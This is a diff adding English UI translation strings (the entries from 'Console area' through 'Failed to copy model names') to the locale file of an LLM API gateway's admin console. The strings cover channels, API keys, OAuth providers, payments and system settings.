+    "Console area": "Console area",
+    "Console Area": "Console Area",
+    "Consume": "Consume",
+    "Container": "Container",
+    "Container name": "Container name",
+    "Containers": "Containers",
+    "Contains": "Contains",
+    "Contains Match": "Contains Match",
+    "Content": "Content",
+    "Content displayed on the home page (supports Markdown)": "Content displayed on the home page (supports Markdown)",
+    "Content not found.": "Content not found.",
+    "Content not modified!": "Content not modified!",
+    "Continue": "Continue",
+    "Continue with {{name}}": "Continue with {{name}}",
+    "Continue with Discord": "Continue with Discord",
+    "Continue with GitHub": "Continue with GitHub",
+    "Continue with LinuxDO": "Continue with LinuxDO",
+    "Continue with OIDC": "Continue with OIDC",
+    "Continue with Telegram": "Continue with Telegram",
+    "Continue with WeChat": "Continue with WeChat",
+    "Control log retention and clean historical data.": "Control log retention and clean historical data.",
+    "Control passthrough behavior and connection keep-alive settings": "Control passthrough behavior and connection keep-alive settings",
+    "Control request frequency to prevent abuse and manage system load.": "Control request frequency to prevent abuse and manage system load.",
+    "Control which sidebar areas and modules are available to all users.": "Control which sidebar areas and modules are available to all users.",
+    "Controls whether user verification (biometrics/PIN) is required during Passkey flows.": "Controls whether user verification (biometrics/PIN) is required during Passkey flows.",
+    "Conversion rate from USD to your custom currency": "Conversion rate from USD to your custom currency",
+    "Convert reasoning_content to <think> tag in content": "Convert reasoning_content to <think> tag in content",
+    "Copied": "Copied",
+    "Copied {{count}} key(s)": "Copied {{count}} key(s)",
+    "Copied to clipboard": "Copied to clipboard",
+    "Copied: {{model}}": "Copied: {{model}}",
+    "Copied!": "Copied!",
+    "Copy": "Copy",
+    "Copy All": "Copy All",
+    "Copy all backup codes": "Copy all backup codes",
+    "Copy All Codes": "Copy All Codes",
+    "Copy API key": "Copy API key",
+    "Copy authorization link": "Copy authorization link",
+    "Copy Channel": "Copy Channel",
+    "Copy code": "Copy code",
+    "Copy Connection Info": "Copy Connection Info",
+    "Copy failed": "Copy failed",
+    "Copy Header": "Copy Header",
+    "Copy Key": "Copy Key",
+    "Copy Link": "Copy Link",
+    "Copy model name": "Copy model name",
+    "Copy model names": "Copy model names",
+    "Copy prompt": "Copy prompt",
+    "Copy redemption code": "Copy redemption code",
+    "Copy referral link": "Copy referral link",
+    "Copy secret key": "Copy secret key",
+    "Copy selected codes": "Copy selected codes",
+    "Copy selected keys": "Copy selected keys",
+    "Copy the key and paste it here": "Copy the key and paste it here",
+    "Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.": "Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.",
+    "Copy to clipboard": "Copy to clipboard",
+    "Copy token": "Copy token",
+    "Copy URL": "Copy URL",
+    "Core Features": "Core Features",
+    "Cost": "Cost",
+    "Cost in USD per request, regardless of tokens used.": "Cost in USD per request, regardless of tokens used.",
+    "Cost Tracking": "Cost Tracking",
+    "Count must be between {{min}} and {{max}}": "Count must be between {{min}} and {{max}}",
+    "Coze": "Coze",
+    "CPU Threshold (%)": "CPU Threshold (%)",
+    "Create": "Create",
+    "Create a copy of:": "Create a copy of:",
+    "Create a new user group to configure ratio overrides for.": "Create a new user group to configure ratio overrides for.",
+    "Create account": "Create account",
+    "Create an account": "Create an account",
+    "Create and review invite or credit codes.": "Create and review invite or credit codes.",
+    "Create API Key": "Create API Key",
+    "Create cache": "Create cache",
+    "Create cache ratio": "Create cache ratio",
+    "Create Channel": "Create Channel",
+    "Create Code": "Create Code",
+    "Create credentials for the root user": "Create credentials for the root user",
+    "Create deployment": "Create deployment",
+    "Create Model": "Create Model",
+    "Create multiple API keys at once (random suffix will be added to names)": "Create multiple API keys at once (random suffix will be added to names)",
+    "Create multiple channels from multiple keys": "Create multiple channels from multiple keys",
+    "Create multiple redemption codes at once (1-100)": "Create multiple redemption codes at once (1-100)",
+    "Create new subscription plan": "Create New Subscription Plan",
+    "Create or update frequently asked questions for users": "Create or update frequently asked questions for users",
+    "Create or update system announcements for the dashboard": "Create or update system announcements for the dashboard",
+    "Create Plan": "Create Plan",
+    "Create Prefill Group": "Create Prefill Group",
+    "Create Provider": "Create Provider",
+    "Create Redemption Code": "Create Redemption Code",
+    "Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.": "Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.",
+    "Create succeeded": "Create succeeded",
+    "Create Vendor": "Create Vendor",
+    "Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.": "Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.",
+    "Create, revoke, and audit API tokens.": "Create, revoke, and audit API tokens.",
+    "Created": "Created",
+    "Created At": "Created At",
+    "Credential generated": "Credential generated",
+    "Credential refreshed": "Credential refreshed",
+    "Credentials": "Credentials",
+    "Creem API key (leave blank unless updating)": "Creem API key (leave blank unless updating)",
+    "Creem Gateway": "Creem Gateway",
+    "Creem Payment": "Creem Payment",
+    "Creem product ID from your Creem dashboard.": "Creem product ID from your Creem dashboard.",
+    "Creem products must be a JSON array": "Creem products must be a JSON array",
+    "Cross-group": "Cross-group",
+    "Cross-group retry": "Cross-group retry",
+    "Curate quick links to your different Domains": "Curate quick links to your different Domains",
+    "Currency": "Currency",
+    "Current Balance": "Current Balance",
+    "Current Billing": "Current Billing",
+    "Current Cache Size": "Current Cache Size",
+    "Current email: {{email}}. Enter a new email to change.": "Current email: {{email}}. Enter a new email to change.",
+    "Current key": "Current key",
+    "Current models for the longest channel in this tag. May not include all models from all channels.": "Current models for the longest channel in this tag. May not include all models from all channels.",
+    "Current Password": "Current Password",
+    "Current Price": "Current Price",
+    "Current quota": "Current quota",
+    "Current Value": "Current Value",
+    "Current version": "Current version",
+    "Current:": "Current:",
+    "Custom": "Custom",
+    "Custom (seconds)": "Custom (seconds)",
+    "Custom Amount": "Custom Amount",
+    "Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.": "Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.",
+    "Custom API base URL. Leave empty to use provider default.": "Custom API base URL. Leave empty to use provider default.",
+    "Custom Currency": "Custom Currency",
+    "Custom Currency Symbol": "Custom Currency Symbol",
+    "Custom currency symbol is required": "Custom currency symbol is required",
+    "Custom database driver detected.": "Custom database driver detected.",
+    "Custom Home Page": "Custom Home Page",
+    "Custom message shown when access is denied": "Custom message shown when access is denied",
+    "Custom model (comma-separated)": "Custom model (comma-separated)",
+    "Custom module": "Custom module",
+    "Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using \"edit_this\" group tokens.": "Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using \"edit_this\" group tokens.",
+    "Custom OAuth": "Custom OAuth",
+    "Custom OAuth Providers": "Custom OAuth Providers",
+    "Custom Seconds": "Custom Seconds",
+    "Custom sidebar section": "Custom sidebar section",
+    "Custom Time Range": "Custom Time Range",
+    "Custom Zoom": "Custom Zoom",
+    "Customize sidebar display content": "Customize sidebar display content",
+    "Daily": "Daily",
+    "Daily Check-in": "Daily Check-in",
+    "Dark": "Dark",
+    "Dashboard": "Dashboard",
+    "Dashboards, tokens, and usage analytics.": "Dashboards, tokens, and usage analytics.",
+    "Data Dashboard": "Data Dashboard",
+    "Data directory:": "Data directory:",
+    "Data is stored locally on this device. Use system backups to keep a safe copy.": "Data is stored locally on this device. Use system backups to keep a safe copy.",
+    "Data management and log viewing": "Data management and log viewing",
+    "Database": "Database",
+    "Database check": "Database check",
+    "Date and time when this announcement should be displayed": "Date and time when this announcement should be displayed",
+    "Date Range": "Date Range",
+    "Day": "Day",
+    "days": "days",
+    "Days to Retain": "Days to Retain",
+    "Deducted by subscription": "Deducted by subscription",
+    "DeepSeek": "DeepSeek",
+    "default": "default",
+    "Default": "Default",
+    "Default (New Frontend)": "Default (New Frontend)",
+    "Default API Version *": "Default API Version *",
+    "Default API version for this channel": "Default API version for this channel",
+    "Default Collapse Sidebar": "Default Collapse Sidebar",
+    "Default Max Tokens": "Default Max Tokens",
+    "Default Responses API version, if empty, will use the API version above": "Default Responses API version, if empty, will use the API version above",
+    "Default system prompt for this channel": "Default system prompt for this channel",
+    "Default time granularity": "Default time granularity",
+    "Default to auto groups": "Default to auto groups",
+    "Default TTL (seconds)": "Default TTL (seconds)",
+    "Defaults to the wallet page when empty": "Defaults to the wallet page when empty",
+    "Define API endpoints for this model (JSON format)": "Define API endpoints for this model (JSON format)",
+    "Define endpoint mappings for each provider.": "Define endpoint mappings for each provider.",
+    "Define per-group rules to add, remove, or append selectable groups for specific user groups.": "Define per-group rules to add, remove, or append selectable groups for specific user groups.",
+    "Delete": "Delete",
+    "Delete (": "Delete (",
+    "Delete {{count}} API key(s)?": "Delete {{count}} API key(s)?",
+    "Delete Account": "Delete Account",
+    "Delete All Disabled": "Delete All Disabled",
+    "Delete All Disabled Channels?": "Delete All Disabled Channels?",
+    "Delete Auto-Disabled": "Delete Auto-Disabled",
+    "Delete Channel": "Delete Channel",
+    "Delete Channels?": "Delete Channels?",
+    "Delete failed": "Delete failed",
+    "Delete group": "Delete group",
+    "Delete Header": "Delete Header",
+    "Delete Invalid": "Delete Invalid",
+    "Delete invalid codes": "Delete invalid codes",
+    "Delete invalid codes (used/disabled/expired)": "Delete invalid codes (used/disabled/expired)",
+    "Delete invalid redemption codes": "Delete invalid redemption codes",
+    "Delete Invalid Redemption Codes?": "Delete Invalid Redemption Codes?",
+    "Delete logs": "Delete logs",
+    "Delete Model": "Delete Model",
+    "Delete Models?": "Delete Models?",
+    "Delete Provider": "Delete Provider",
+    "Delete selected API keys": "Delete selected API keys",
+    "Delete selected channels": "Delete selected channels",
+    "Delete selected models": "Delete selected models",
+    "Deleted": "Deleted",
+    "Deleted successfully": "Deleted successfully",
+    "Deleting will permanently remove this subscription record (including benefit details). Continue?": "Deleting will permanently remove this subscription record (including benefit details). Continue?",
+    "Deleting...": "Deleting...",
+    "Demo site": "Demo site",
+    "Demo site mode": "Demo site mode",
+    "Demo Site Mode": "Demo Site Mode",
+    "Demote": "Demote",
+    "Deployment created successfully": "Deployment created successfully",
+    "Deployment details": "Deployment details",
+    "Deployment ID": "Deployment ID",
+    "Deployment location": "Deployment location",
+    "Deployment logs": "Deployment logs",
+    "Deployment Region *": "Deployment Region *",
+    "Deployment requested": "Deployment requested",
+    "Deployments": "Deployments",
+    "Desc": "Desc",
+    "Describe": "Describe",
+    "Describe this model...": "Describe this model...",
+    "Describe this vendor...": "Describe this vendor...",
+    "Description": "Description",
+    "Description is required": "Description is required",
+    "Designed and Developed by": "Designed and Developed by",
+    "designed for scale": "designed for scale",
+    "Destroyed": "Destroyed",
+    "Detailed request logs for investigations.": "Detailed request logs for investigations.",
+    "Details": "Details",
+    "Detect All Upstream Updates": "Detect All Upstream Updates",
+    "Detected database": "Detected database",
+    "Detected high-risk status code redirect rules": "The following high-risk status code redirect rules were detected:",
+    "Detection complete: {{add}} to add, {{remove}} to remove": "Detection complete: {{add}} to add, {{remove}} to remove",
+    "Detection failed": "Detection failed",
+    "Determines how this group is applied elsewhere.": "Determines how this group is applied elsewhere.",
+    "Developer Friendly": "Developer Friendly",
+    "Device Type Preference": "Device Type Preference",
+    "Dify": "Dify",
+    "Dify channels only support chatflow and agent, and agent does not support images": "Dify channels only support chatflow and agent, and agent does not support images",
+    "Digest:": "Digest:",
+    "Direction": "Direction",
+    "Directory File Count": "Directory File Count",
+    "Directory Total Size": "Directory Total Size",
+    "Disable": "Disable",
+    "Disable 2FA": "Disable 2FA",
+    "Disable All": "Disable All",
+    "Disable on failure": "Disable on failure",
+    "Disable selected channels": "Disable selected channels",
+    "Disable selected models": "Disable selected models",
+    "Disable store passthrough": "Disable store passthrough",
+    "Disable thinking processing models": "Disable thinking processing models",
+    "Disable this key?": "Disable this key?",
+    "Disable threshold (seconds)": "Disable threshold (seconds)",
+    "Disable Two-Factor Authentication": "Disable Two-Factor Authentication",
+    "disabled": "disabled",
+    "Disabled": "Disabled",
+    "Disabled all channels with tag: {{tag}}": "Disabled all channels with tag: {{tag}}",
+    "Disabled Reason": "Disabled Reason",
+    "Disabled Time": "Disabled Time",
+    "Disabling...": "Disabling...",
+    "Discord": "Discord",
+    "Discount": "Discount",
+    "Discount map by recharge amount (JSON object)": "Discount map by recharge amount (JSON object)",
+    "Discount Rate": "Discount Rate",
+    "Discount rate must be ≤ 1": "Discount rate must be ≤ 1",
+    "Discount rate must be greater than 0": "Discount rate must be greater than 0",
+    "Discount Rate:": "Discount Rate:",
+    "Discount ratio for cache hits.": "Discount ratio for cache hits.",
+    "Discouraged": "Discouraged",
+    "Discovering...": "Discovering...",
+    "Disk cache cleared": "Disk cache cleared",
+    "Disk Cache Settings": "Disk Cache Settings",
+    "Disk Cache Threshold (MB)": "Disk Cache Threshold (MB)",
+    "Disk cache, system performance monitoring, and operation statistics": "Disk cache, system performance monitoring, and operation statistics",
+    "Disk Hits": "Disk Hits",
+    "Disk Threshold (%)": "Disk Threshold (%)",
+    "Display in Currency": "Display in Currency",
+    "Display Mode": "Display Mode",
+    "Display name": "Display name",
+    "Display Name": "Display Name",
+    "Display name and email used in outgoing messages": "Display name and email used in outgoing messages",
+    "Display Name Field": "Display Name Field",
+    "Display name for this chat client.": "Display name for this chat client.",
+    "Display name for this monitoring group (max 50 characters)": "Display name for this monitoring group (max 50 characters)",
+    "Display name for this payment method.": "Display name for this payment method.",
+    "Display name shown to users.": "Display name shown to users.",
+    "Display Options": "Display Options",
+    "Display Token Statistics": "Display Token Statistics",
+    "Displays the mobile sidebar.": "Displays the mobile sidebar.",
+    "Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.": "Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.",
+    "Do not repeat check-in; only once per day": "Do not repeat check-in; only once per day",
+    "Docs": "Docs",
+    "Documentation Link": "Documentation Link",
+    "Documentation or external knowledge base.": "Documentation or external knowledge base.",
+    "does not exist or might have been removed.": "does not exist or might have been removed.",
+    "Domain": "Domain",
+    "Domain Filter Mode": "Domain Filter Mode",
+    "Don't have an account?": "Don't have an account?",
+    "Done": "Done",
+    "Doubao Coding Plan": "Doubao Coding Plan",
+    "Doubao custom API address editing unlocked": "Doubao custom API address editing unlocked",
+    "DoubaoVideo": "DoubaoVideo",
+    "Double check the configuration below. Your system will be locked until initialization is complete.": "Double check the configuration below. Your system will be locked until initialization is complete.",
+    "Download": "Download",
+    "Draw": "Draw",
+    "Drawing": "Drawing",
+    "Drawing logs": "Drawing logs",
+    "Drawing Logs": "Drawing Logs",
+    "Drawing task records": "Drawing task records",
+    "Duplicate": "Duplicate",
+    "Duration": "Duration",
+    "Duration (hours)": "Duration (hours)",
+    "Duration Settings": "Duration Settings",
+    "Duration Unit": "Duration Unit",
+    "Duration Value": "Duration Value",
+    "Dynamic Pricing": "Dynamic Pricing",
+    "e.g. ¥ or HK$": "e.g. ¥ or HK$",
+    "e.g. 401, 403, 429, 500-599": "e.g. 401, 403, 429, 500-599",
+    "e.g. 8 means 1 USD = 8 units": "e.g. 8 means 1 USD = 8 units",
+    "e.g. Basic Plan": "e.g. Basic Plan",
+    "e.g. example.com": "e.g. example.com",
+    "e.g. llama3.1:8b": "e.g. llama3.1:8b",
+    "e.g. My GitLab": "e.g. My GitLab",
+    "e.g. my-gitlab": "e.g. my-gitlab",
+    "e.g. New API Console": "e.g. New API Console",
+    "e.g. openid profile email": "e.g. openid profile email",
+    "e.g. Suitable for light usage": "e.g. Suitable for light usage",
+    "e.g., 0.95": "e.g., 0.95",
+    "e.g., 100": "e.g., 100",
+    "e.g., 123456": "e.g., 123456",
+    "e.g., 2025-04-01-preview": "e.g., 2025-04-01-preview",
+    "e.g., 50": "e.g., 50",
+    "e.g., 500000": "e.g., 500000",
+    "e.g., 7342866812345": "e.g., 7342866812345",
+    "e.g., 8 means 8 local currency per USD": "e.g., 8 means 8 local currency per USD",
+    "e.g., Alipay, WeChat": "e.g., Alipay, WeChat",
+    "e.g., Basic Package": "e.g., Basic Package",
+    "e.g., CN2 GIA": "e.g., CN2 GIA",
+    "e.g., Core APIs, OpenAI, Claude": "e.g., Core APIs, OpenAI, Claude",
+    "e.g., d6b5da8hk1awo8nap34ube6gh": "e.g., d6b5da8hk1awo8nap34ube6gh",
+    "e.g., default, vip, premium": "e.g., default, vip, premium",
+    "e.g., gpt-4, claude-3": "e.g., gpt-4, claude-3",
+    "e.g., https://api.example.com (path before /suno)": "e.g., https://api.example.com (path before /suno)",
+    "e.g., https://api.openai.com/v1/chat/completions": "e.g., https://api.openai.com/v1/chat/completions",
+    "e.g., https://ark.cn-beijing.volces.com": "e.g., https://ark.cn-beijing.volces.com",
+    "e.g., https://docs-test-001.openai.azure.com": "e.g., https://docs-test-001.openai.azure.com",
+    "e.g., https://fastgpt.run/api/openapi": "e.g., https://fastgpt.run/api/openapi",
+    "e.g., OpenAI GPT-4 Production": "e.g., OpenAI GPT-4 Production",
+    "e.g., preview": "e.g., preview",
+    "e.g., prod_xxx": "e.g., prod_xxx",
+    "e.g., Recommended for China Mainland Users": "e.g., Recommended for China Mainland Users",
+    "e.g., us-central1 or JSON format for model-specific regions": "e.g., us-central1 or JSON format for model-specific regions",
+    "e.g., v2.1": "e.g., v2.1",
+    "Each backup code can only be used once.": "Each backup code can only be used once.",
+    "Each item must be an object with a single key-value pair.": "Each item must be an object with a single key-value pair.",
+    "Each item must have exactly one key-value pair.": "Each item must have exactly one key-value pair.",
+    "Each line represents one keyword. Leave blank to disable the list but keep the switch states.": "Each line represents one keyword. Leave blank to disable the list but keep the switch states.",
+    "Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.": "Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.",
+    "Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.": "Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.",
+    "Edit": "Edit",
+    "Edit {{title}}": "Edit {{title}}",
+    "Edit all channels with tag:": "Edit all channels with tag:",
+    "Edit Announcement": "Edit Announcement",
+    "Edit API Shortcut": "Edit API Shortcut",
+    "Edit Channel": "Edit Channel",
+    "Edit chat preset": "Edit chat preset",
+    "Edit discount tier": "Edit discount tier",
+    "Edit FAQ": "Edit FAQ",
+    "Edit group rate limit": "Edit group rate limit",
+    "Edit model": "Edit model",
+    "Edit Model": "Edit Model",
+    "Edit OAuth Provider": "Edit OAuth Provider",
+    "Edit payment method": "Edit payment method",
+    "Edit Prefill Group": "Edit Prefill Group",
+    "Edit product": "Edit product",
+    "Edit ratio override": "Edit ratio override",
+    "Edit Rule": "Edit Rule",
+    "Edit selectable group": "Edit selectable group",
+    "Edit Tag": "Edit Tag",
+    "Edit Tag:": "Edit Tag:",
+    "Edit Uptime Kuma Group": "Edit Uptime Kuma Group",
+    "Edit Vendor": "Edit Vendor",
+    "edit_this": "edit_this",
+    "Editor mode": "Editor mode",
+    "Email": "Email",
+    "Email (required for verification)": "Email (required for verification)",
+    "Email Address": "Email Address",
+    "Email Alias Restriction": "Email Alias Restriction",
+    "Email bound successfully!": "Email bound successfully!",
+    "Email Domain Restriction": "Email Domain Restriction",
+    "Email Domain Whitelist": "Email Domain Whitelist",
+    "Email Field": "Email Field",
+    "Email Verification": "Email Verification",
+    "Embeddings": "Embeddings",
+    "Empty value will be saved as {}.": "Empty value will be saved as {}.",
+    "Enable": "Enable",
+    "Enable 2FA": "Enable 2FA",
+    "Enable All": "Enable All",
+    "Enable check-in feature": "Enable check-in feature",
+    "Enable Data Dashboard": "Enable Data Dashboard",
+    "Enable demo mode with limited functionality": "Enable demo mode with limited functionality",
+    "Enable Discord OAuth": "Enable Discord OAuth",
+    "Enable Disk Cache": "Enable Disk Cache",
+    "Enable drawing features": "Enable drawing features",
+    "Enable filtering": "Enable filtering",
+    "Enable FunctionCall thoughtSignature Fill": "Enable FunctionCall thoughtSignature Fill",
+    "Enable GitHub OAuth": "Enable GitHub OAuth",
+    "Enable Groups": "Enable Groups",
+    "Enable if this is an OpenRouter enterprise account with special response format": "Enable if this is an OpenRouter enterprise account with special response format",
+    "Enable io.net deployments": "Enable io.net deployments",
+    "Enable io.net model deployment service in console": "Enable io.net model deployment service in console",
+    "Enable LinuxDO OAuth": "Enable LinuxDO OAuth",
+    "Enable OIDC": "Enable OIDC",
+    "Enable or disable this channel": "Enable or disable this channel",
+    "Enable or disable this model": "Enable or disable this model",
+    "Enable or disable top navigation modules globally.": "Enable or disable top navigation modules globally.",
+    "Enable Passkey": "Enable Passkey",
+    "Enable Performance Monitoring": "Enable Performance Monitoring",
+    "Enable rate limiting": "Enable rate limiting",
+    "Enable Request Passthrough": "Enable Request Passthrough",
+    "Enable selected channels": "Enable selected channels",
+    "Enable selected models": "Enable selected models",
+    "Enable SSL/TLS": "Enable SSL/TLS",
+    "Enable SSRF Protection": "Enable SSRF Protection",
+    "Enable streaming mode for the test request.": "Enable streaming mode for the test request.",
+    "Enable Telegram OAuth": "Enable Telegram OAuth",
+    "Enable test mode for Creem payments": "Enable test mode for Creem payments",
+    "Enable this key?": "Enable this key?",
+    "Enable Turnstile": "Enable Turnstile",
+    "Enable Two-factor Authentication or Passkey in your profile to unlock sensitive operations.": "Enable Two-factor Authentication or Passkey in your profile to unlock sensitive operations.",
+    "Enable unlimited quota for this API key": "Enable unlimited quota for this API key",
+    "Enable violation deduction": "Enable violation deduction",
+    "Enable Waffo": "Enable Waffo",
+    "Enable Waffo Pancake": "Enable Waffo Pancake",
+    "Enable WeChat Auth": "Enable WeChat Auth",
+    "Enable when proxying workers that fetch images over HTTP.": "Enable when proxying workers that fetch images over HTTP.",
+    "Enabled": "Enabled",
+    "Enabled all channels with tag: {{tag}}": "Enabled all channels with tag: {{tag}}",
+    "Enabled Status": "Enabled Status",
+    "Enabling...": "Enabling...",
+    "End": "End",
+    "End Error": "End Error",
+    "End Reason": "End Reason",
+    "End Time": "End Time",
+    "Endpoint": "Endpoint",
+    "Endpoint config": "Endpoint config",
+    "Endpoint Configuration": "Endpoint Configuration",
+    "Endpoint Type": "Endpoint Type",
+    "Endpoint:": "Endpoint:",
+    "Endpoints": "Endpoints",
+    "English": "English",
+    "Ensure Prefix": "Ensure Prefix",
+    "Ensure Suffix": "Ensure Suffix",
+    "Enter 6-digit code": "Enter 6-digit code",
+    "Enter a name": "Enter a name",
+    "Enter a new name": "Enter a new name",
+    "Enter a positive or negative amount to adjust the quota": "Enter a positive or negative amount to adjust the quota",
+    "Enter a valid email or leave blank": "Enter a valid email or leave blank",
+    "Enter a value and press Enter": "Enter a value and press Enter",
+    "Enter amount in {{currency}}": "Enter amount in {{currency}}",
+    "Enter amount in tokens": "Enter amount in tokens",
+    "Enter announcement content (supports Markdown & HTML)": "Enter announcement content (supports Markdown & HTML)",
+    "Enter announcement content (supports Markdown/HTML)": "Enter announcement content (supports Markdown/HTML)",
+    "Enter API Key": "Enter API Key",
+    "Enter API Key, format: APIKey|Region": "Enter API Key, format: APIKey|Region",
+    "Enter API Key, one per line, format: APIKey|Region": "Enter API Key, one per line, format: APIKey|Region",
+    "Enter application token": "Enter application token",
+    "Enter authenticator code": "Enter authenticator code",
+    "Enter backup code (e.g., CAWD-OQDV)": "Enter backup code (e.g., CAWD-OQDV)",
+    "Enter code": "Enter code",
+    "Enter code or backup code": "Enter code or backup code",
+    "Enter Completion price to calculate ratio": "Enter Completion price to calculate ratio",
+    "Enter Creem API key": "Enter Creem API key",
+    "Enter custom API endpoint URL": "Enter custom API endpoint URL",
+    "Enter deployment region or JSON mapping:": "Enter deployment region or JSON mapping:",
+    "Enter display name": "Enter display name",
+    "Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe": "Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe",
+    "Enter Input price to calculate ratio": "Enter Input price to calculate ratio",
+    "Enter key, format: AccessKey|SecretAccessKey|Region": "Enter key, format: AccessKey|SecretAccessKey|Region",
+    "Enter key, one per line, format: AccessKey|SecretAccessKey|Region": "Enter key, one per line, format: AccessKey|SecretAccessKey|Region",
+    "Enter model name": "Enter model name",
+    "Enter new key to update": "Enter new key to update",
+    "Enter new key to update, or leave empty to keep current key": "Enter new key to update, or leave empty to keep current key",
+    "Enter new tag name (leave empty to disband tag)": "Enter new tag name (leave empty to disband tag)",
+    "Enter new tag name or leave empty": "Enter new tag name or leave empty",
+    "Enter new token to update": "Enter new token to update",
+    "Enter one API key per line for batch creation": "Enter one API key per line for batch creation",
+    "Enter one key per line for batch creation": "Enter one key per line for batch creation",
+    "Enter one keyword per line": "Enter one keyword per line",
+    "Enter password": "Enter password",
+    "Enter password (8-20 characters)": "Enter password (8-20 characters)",
+    "Enter password (min 8 characters)": "Enter password (min 8 characters)",
+    "Enter quota in {{currency}}": "Enter quota in {{currency}}",
+    "Enter quota in tokens": "Enter quota in tokens",
+    "Enter secret key": "Enter secret key",
+    "Enter system prompt (user prompt takes priority)": "Enter system prompt (user prompt takes priority)",
+    "Enter tag name (optional)": "Enter tag name (optional)",
+    "Enter the 6-digit code from your authenticator app": "Enter the 6-digit code from your authenticator app",
+    "Enter the 6-digit Time-based One-Time Password or 8-character backup code from your authenticator app.": "Enter the 6-digit Time-based One-Time Password or 8-character backup code from your authenticator app.",
+    "Enter the complete URL, supports": "Enter the complete URL, supports",
+    "Enter the Coze agent ID": "Enter the Coze agent ID",
+    "Enter the full URL of your Gotify server": "Enter the full URL of your Gotify server",
+    "Enter the knowledge base ID": "Enter the knowledge base ID",
+    "Enter the path before /suno, usually just the domain": "Enter the path before /suno, usually just the domain",
+    "Enter the quota amount in {{currency}}": "Enter the quota amount in {{currency}}",
+    "Enter the quota amount in tokens": "Enter the quota amount in tokens",
+    "Enter the verification code": "Enter the verification code",
+    "Enter threshold": "Enter threshold",
+    "Enter token counts to preview the estimated cost (excluding group multipliers).": "Enter token counts to preview the estimated cost (excluding group multipliers).",
+    "Enter URL...": "Enter URL...",
+    "Enter username": "Enter username",
+    "Enter verification code": "Enter verification code",
+    "Enter webhook secret": "Enter webhook secret",
+    "Enter your authenticator code or a backup code": "Enter your authenticator code or a backup code",
+    "Enter your email": "Enter your email",
+    "Enter your redemption code": "Enter your redemption code",
+    "Enter your registered email and we will send you a link to reset your password.": "Enter your registered email and we will send you a link to reset your password.",
+    "Enter your username": "Enter your username",
+    "Enter your username or email": "Enter your username or email",
+    "Enterprise Account": "Enterprise Account",
+    "Enterprise-grade security with comprehensive permission management": "Enterprise-grade security with comprehensive permission management",
+    "Entrypoint (space separated)": "Entrypoint (space separated)",
+    "Env (JSON object)": "Env (JSON object)",
+    "Environment variables": "Environment variables",
+    "Environment variables (JSON)": "Environment variables (JSON)",
+    "Epay endpoint": "Epay endpoint",
+    "Epay Gateway": "Epay Gateway",
+    "Epay merchant ID": "Epay merchant ID",
+    "Epay secret key": "Epay secret key",
+    "Error": "Error",
+    "Error Message": "Error Message",
+    "Estimated cost": "Estimated cost",
+    "Estimated quota cost": "Estimated quota cost",
+    "Exact": "Exact",
+    "Exact Match": "Exact Match",
+    "Example": "Example",
+    "Example (all channels):": "Example (all channels):",
+    "Example (specific channels):": "Example (specific channels):",
+    "Example:": "Example:",
+    "example.com&#10;blocked-site.com": "example.com&#10;blocked-site.com",
+    "example.com&#10;company.com": "example.com&#10;company.com",
+    "Excellent": "Excellent",
+    "Exchange rate is required": "Exchange rate is required",
+    "Exchange rate must be greater than 0": "Exchange rate must be greater than 0",
+    "Exhausted": "Exhausted",
+    "Existing account will be reused": "Existing account will be reused",
+    "Existing Models ({{count}})": "Existing Models ({{count}})",
+    "Exists": "Exists",
+    "Expected a JSON array.": "Expected a JSON array.",
+    "Experiment with prompts and models in real time.": "Experiment with prompts and models in real time.",
+    "Expiration Time": "Expiration Time",
+    "expired": "expired",
+    "Expired": "Expired",
+    "Expired at": "Expired at",
+    "Expired time cannot be earlier than current time": "Expired time cannot be earlier than current time",
+    "Expires": "Expires",
+    "Expose grouped Uptime Kuma status pages directly on the dashboard": "Expose grouped Uptime Kuma status pages directly on the dashboard",
+    "Expose ratio API": "Expose ratio API",
+    "Exposes the pricing/models catalog in the top navigation.": "Exposes the pricing/models catalog in the top navigation.",
+    "Expression billing": "Expression billing",
+    "Expression editor": "Expression editor",
+    "Expression error": "Expression error",
+    "Extend": "Extend",
+    "Extend deployment": "Extend deployment",
+    "Extend failed": "Extend failed",
+    "Extended successfully": "Extended successfully",
+    "External Device": "External Device",
+    "External link for users to purchase quota": "External link for users to purchase quota",
+    "External operations": "External operations",
+    "External operations mode": "External operations mode",
+    "External Speed Test": "External Speed Test",
+    "Extra": "Extra",
+    "Extra Notes (Optional)": "Extra Notes (Optional)",
+    "Fail Reason": "Fail Reason",
+    "Fail Reason Details": "Fail Reason Details",
+    "Failed": "Failed",
+    "Failed to {{action}} user": "Failed to {{action}} user",
+    "Failed to adjust quota": "Failed to adjust quota",
+    "Failed to apply overwrite.": "Failed to apply overwrite.",
+    "Failed to bind email": "Failed to bind email",
+    "Failed to change password": "Failed to change password",
+    "Failed to check for updates": "Failed to check for updates",
+    "Failed to clean logs": "Failed to clean logs",
+    "Failed to complete order": "Failed to complete order",
+    "Failed to complete Passkey login": "Failed to complete Passkey login",
+    "Failed to contact GitHub releases API": "Failed to contact GitHub releases API",
+    "Failed to copy": "Failed to copy",
+    "Failed to copy channel": "Failed to copy channel",
+    "Failed to copy keys": "Failed to copy keys",
+    "Failed to copy model names": "Failed to copy model names",
